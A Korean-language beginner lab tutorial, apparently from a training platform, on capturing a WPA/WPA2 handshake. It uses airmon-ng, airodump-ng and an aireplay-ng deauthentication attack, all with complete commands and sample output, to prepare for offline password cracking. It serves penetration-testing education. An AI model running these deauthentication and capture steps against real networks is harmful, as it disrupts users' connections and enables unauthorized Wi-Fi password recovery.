airodump-ng 로 WPA 핸드셰이크 수동 캡처하기

Beginner
지금 연습하기

소개

WPA/WPA2 4-way 핸드셰이크는 현대 Wi-Fi 보안의 핵심 구성 요소입니다. 이는 클라이언트와 액세스 포인트 (AP) 가 사전 공유 키 (Wi-Fi 비밀번호) 를 직접 전송하지 않고도 서로 알고 있음을 증명하는 과정입니다. 이 핸드셰이크를 캡처하는 것은 Wi-Fi 비밀번호를 복구하기 위한 무차별 대입 (brute-force) 또는 사전 공격 (dictionary attack) 의 첫 번째 단계입니다.

이 실습에서는 강력한 Aircrack-ng 도구 모음을 사용하여 이 캡처를 수행하는 방법을 배우게 됩니다. airmon-ng를 사용하여 무선 카드를 모니터 모드 (monitor mode) 로 전환하고, airodump-ng를 사용하여 특정 네트워크를 스캔하고 타겟팅하며, aireplay-ng를 사용하여 클라이언트가 재인증하도록 강제함으로써 우리가 캡처할 핸드셰이크를 생성합니다.

이 실습은 실제 시나리오를 시뮬레이션합니다. 실습 환경 내에서 wlan0 무선 인터페이스와 연습할 타겟 네트워크가 제공됩니다.

무선 어댑터를 모니터 모드로 전환하기

이 단계에서는 네트워크 트래픽 캡처를 위해 무선 어댑터를 준비합니다. 기본적으로 무선 어댑터는 "관리 모드 (managed mode)"로 작동하며, 이는 자신에게 의도된 트래픽에만 주의를 기울인다는 것을 의미합니다. 공기 중에 있는 모든 Wi-Fi 트래픽을 캡처하려면 "모니터 모드 (monitor mode)"로 전환해야 합니다. 이를 위해 airmon-ng 도구를 사용할 것입니다.

먼저 무선 인터페이스의 이름을 확인해 보겠습니다. 터미널을 열고 iwconfig 명령을 실행합니다.

iwconfig

일반적으로 wlan0으로 명명된 인터페이스가 나열된 것을 볼 수 있습니다.

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

이제 airmon-ng를 사용하여 wlan0 인터페이스에서 모니터 모드를 시작합니다. 이 명령은 캡처를 방해할 수 있는 일부 네트워크 프로세스를 종료할 수 있습니다.

sudo airmon-ng start wlan0

출력은 모니터 모드가 활성화되었음을 확인합니다. 일반적으로 모니터링을 위해 wlan0mon이라는 새 가상 인터페이스를 생성합니다.

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.

    PID Name
    591 wpa_supplicant
    668 dhclient

PHY     Interface       Driver          Chipset
phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

iwconfig를 다시 실행하여 새 인터페이스 wlan0mon이 모니터 모드에 있는지 확인할 수 있습니다.

iwconfig wlan0mon

출력에는 Mode:Monitor가 표시되어야 합니다.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

대상의 BSSID 및 채널을 찾기 위해 airodump-ng 실행하기

이 단계에서는 airodump-ng를 사용하여 무선 신호를 스캔하고 대상 네트워크를 식별합니다. airodump-ng는 802.11 프레임을 캡처하고 주변 액세스 포인트 및 연결된 클라이언트를 검색하는 강력한 도구입니다.

이제 인터페이스 wlan0mon이 모니터 모드에 있으므로 스캔을 시작할 수 있습니다. 터미널에서 다음 명령을 실행합니다.

sudo airodump-ng wlan0mon

터미널에 airodump-ng가 감지할 수 있는 모든 Wi-Fi 네트워크 목록이 채워집니다. 디스플레이는 두 부분으로 나뉩니다. 상단 부분은 액세스 포인트 (AP) 목록을 표시하고, 하단 부분은 연결된 클라이언트 (스테이션) 목록을 표시합니다.

AP 에 대한 주요 열을 살펴보겠습니다.

  • BSSID: 액세스 포인트의 MAC 주소입니다. 이것이 고유한 하드웨어 식별자입니다.
  • CH: 네트워크가 작동 중인 채널입니다.
  • ESSID: Wi-Fi 네트워크의 사람이 읽을 수 있는 이름입니다 (예: "MyHomeWiFi").

다음은 볼 수 있는 내용의 예입니다.

 CH  6 ][ Elapsed: 3 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  LabEx_WiFi
 C8:D3:FF:A1:B2:C3  -65        8        0    0   1  54e  WPA2 CCMP   PSK  AnotherWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

이 실습에서는 대상 네트워크가 LabEx_WiFi입니다. 위의 출력에서 해당 BSSID (00:11:22:33:44:55) 와 CH (6) 를 식별합니다. 다음 단계에서 이 정보가 필요합니다.

BSSID 와 채널을 기록했으면 터미널에서 Ctrl+C를 눌러 스캔 프로세스를 중지합니다.

특정 BSSID 및 채널을 대상으로 airodump-ng 실행하기

이 단계에서는 대상 네트워크에만 캡처를 집중할 것입니다. 이전 단계에서 수행한 것처럼 일반 스캔을 실행하면 무선 카드가 "채널 호핑 (channel hopping)"을 수행하게 되는데, 이는 핸드셰이크가 발생할 때 놓칠 수 있음을 의미합니다. 성공적인 캡처를 보장하기 위해 airodump-ng가 대상 채널에 고정되고 해당 BSSID 의 트래픽만 수신하도록 지시할 것입니다.

또한 -w 플래그를 사용하여 캡처된 패킷을 파일로 저장할 것입니다. 이 파일에 핸드셰이크가 포함됩니다.

이전 단계에서 식별한 BSSID 와 채널 (00:11:22:33:44:556) 을 사용하여 다음 명령을 구성합니다. 출력 파일 이름을 handshake_capture로 지정하겠습니다.

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon

이 명령을 실행한 후 airodump-ng 디스플레이가 변경됩니다. 이제 LabEx_WiFi 네트워크에 대한 정보만 표시됩니다. 또한 해당 네트워크에 연결된 클라이언트 (STATION) 목록도 표시됩니다.

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       25        10    1   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 1      0       15

중요: 이 터미널을 계속 실행 상태로 두십시오. 캡처를 계속하려면 필요합니다. 다음 단계를 위해 새 터미널 창을 열어야 합니다. 환경의 애플리케이션 도크에서 터미널 아이콘을 다시 클릭하여 이를 수행할 수 있습니다.

aireplay-ng 를 사용하여 클라이언트 비인증 (Deauthenticate) 시키기

이 단계에서는 핸드셰이크가 발생하도록 적극적으로 유도할 것입니다. 핸드셰이크는 클라이언트가 액세스 포인트에 연결하거나 다시 연결할 때만 발생합니다. 클라이언트가 이미 연결되어 있다면 자연스럽게 연결이 끊어질 때까지 기다릴 수 있지만, 시간이 오래 걸릴 수 있습니다. 더 능동적인 접근 방식은 "비인증 공격 (deauthentication attack)"을 사용하여 클라이언트가 연결을 끊도록 강제하는 것입니다.

aireplay-ng를 사용하여 특별히 제작된 비인증 패킷을 클라이언트에게 보내 AP 가 연결을 끊었다고 믿게 만들 것입니다. 그러면 클라이언트는 자동으로 다시 연결을 시도하여, airodump-ng 프로세스 (다른 터미널에서 실행 중) 가 캡처하기를 기다리는 WPA 핸드셰이크를 생성합니다.

첫 번째 터미널 창 (대상 airodump-ng가 실행 중인 창) 을 확인합니다. STATION 열 아래에 연결된 클라이언트의 MAC 주소가 표시됩니다. 이 실습에서는 클라이언트의 MAC 주소가 AA:BB:CC:DD:EE:FF라고 가정합니다.

이제 새 터미널 창에서 다음 aireplay-ng 명령을 실행합니다.

  • --deauth 5: 비인증 패킷 5 개를 보냅니다. 일반적으로 적은 양으로도 충분합니다.
  • -a 00:11:22:33:44:55: 대상 액세스 포인트의 BSSID 입니다.
  • -c AA:BB:CC:DD:EE:FF: 대상 클라이언트의 MAC 주소입니다.
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

패킷 전송을 확인하는 aireplay-ng의 출력이 표시됩니다.

10:35:10  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11  Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]

이제 캡처가 성공했는지 확인해 보겠습니다.

airodump-ng 창에서 핸드셰이크 캡처 확인하기

마지막 단계에서는 WPA 핸드셰이크를 성공적으로 캡처했는지 확인할 것입니다. 방금 수행한 비인증 공격으로 인해 클라이언트가 다시 연결되었을 것이며, airodump-ng는 결과 핸드셰이크를 캡처했을 것입니다.

다시 첫 번째 터미널 창으로 초점을 전환합니다. 이 창에서는 airodump-ng가 실행되고 LabEx_WiFi를 대상으로 하고 있습니다.

airodump-ng 디스플레이의 오른쪽 상단을 확인합니다. 캡처가 성공했다면 [ WPA handshake: 00:11:22:33:44:55 ]라는 메시지가 표시될 것입니다.

 CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       80       115    8   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1-11      0       98

이 메시지를 보는 것이 바로 확인입니다! 성공적으로 4-way 핸드셰이크를 캡처했습니다.

이제 각 터미널 창에서 Ctrl+C를 눌러 두 프로세스를 모두 중지할 수 있습니다.

핸드셰이크를 포함한 캡처된 데이터는 현재 디렉터리의 파일에 저장되었습니다. ls -l 명령으로 나열할 수 있습니다.

ls -l

handshake_capture로 시작하는 여러 파일, 특히 handshake_capture-01.cap이 보여야 합니다.

-rw-r--r-- 1 root root  452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...

.cap 파일이 바로 결과물입니다. 이 파일에는 핸드셰이크가 포함되어 있으며, 이제 오프라인 암호 크래킹 시도에 aircrack-ng 또는 hashcat과 같은 도구와 함께 사용할 수 있습니다.

요약

이 실습을 완료하신 것을 축하드립니다! Wi-Fi 침투 테스트의 기본적인 기술 중 하나를 성공적으로 수행하셨습니다.

이 실습에서는 다음을 배웠습니다.

  1. airmon-ng를 사용하여 무선 어댑터를 모니터 모드 (monitor mode) 로 설정하는 방법.
  2. airodump-ng를 사용하여 주변 무선 네트워크를 스캔하여 대상을 식별하는 방법.
  3. 특정 BSSID 및 채널에 airodump-ng를 집중하여 대상 캡처를 준비하고 결과를 파일에 저장하는 방법.
  4. aireplay-ng를 사용하여 비인증 공격 (deauthentication attack) 을 수행하여 클라이언트가 다시 연결하도록 강제하는 방법.
  5. airodump-ng 출력에서 WPA 핸드셰이크 캡처를 확인하는 방법.

생성한 .cap 파일에는 중요한 핸드셰이크 데이터가 포함되어 있습니다. 실제 침투 테스트에서 다음 단계는 이 파일을 사용하여 Wi-Fi 암호를 크래킹하는 시도를 하는 것이며, 이는 다른 실습 주제입니다. 이제 이 중요한 데이터를 수동으로 캡처하는 프로세스에 대한 확실한 이해를 갖추게 되었습니다.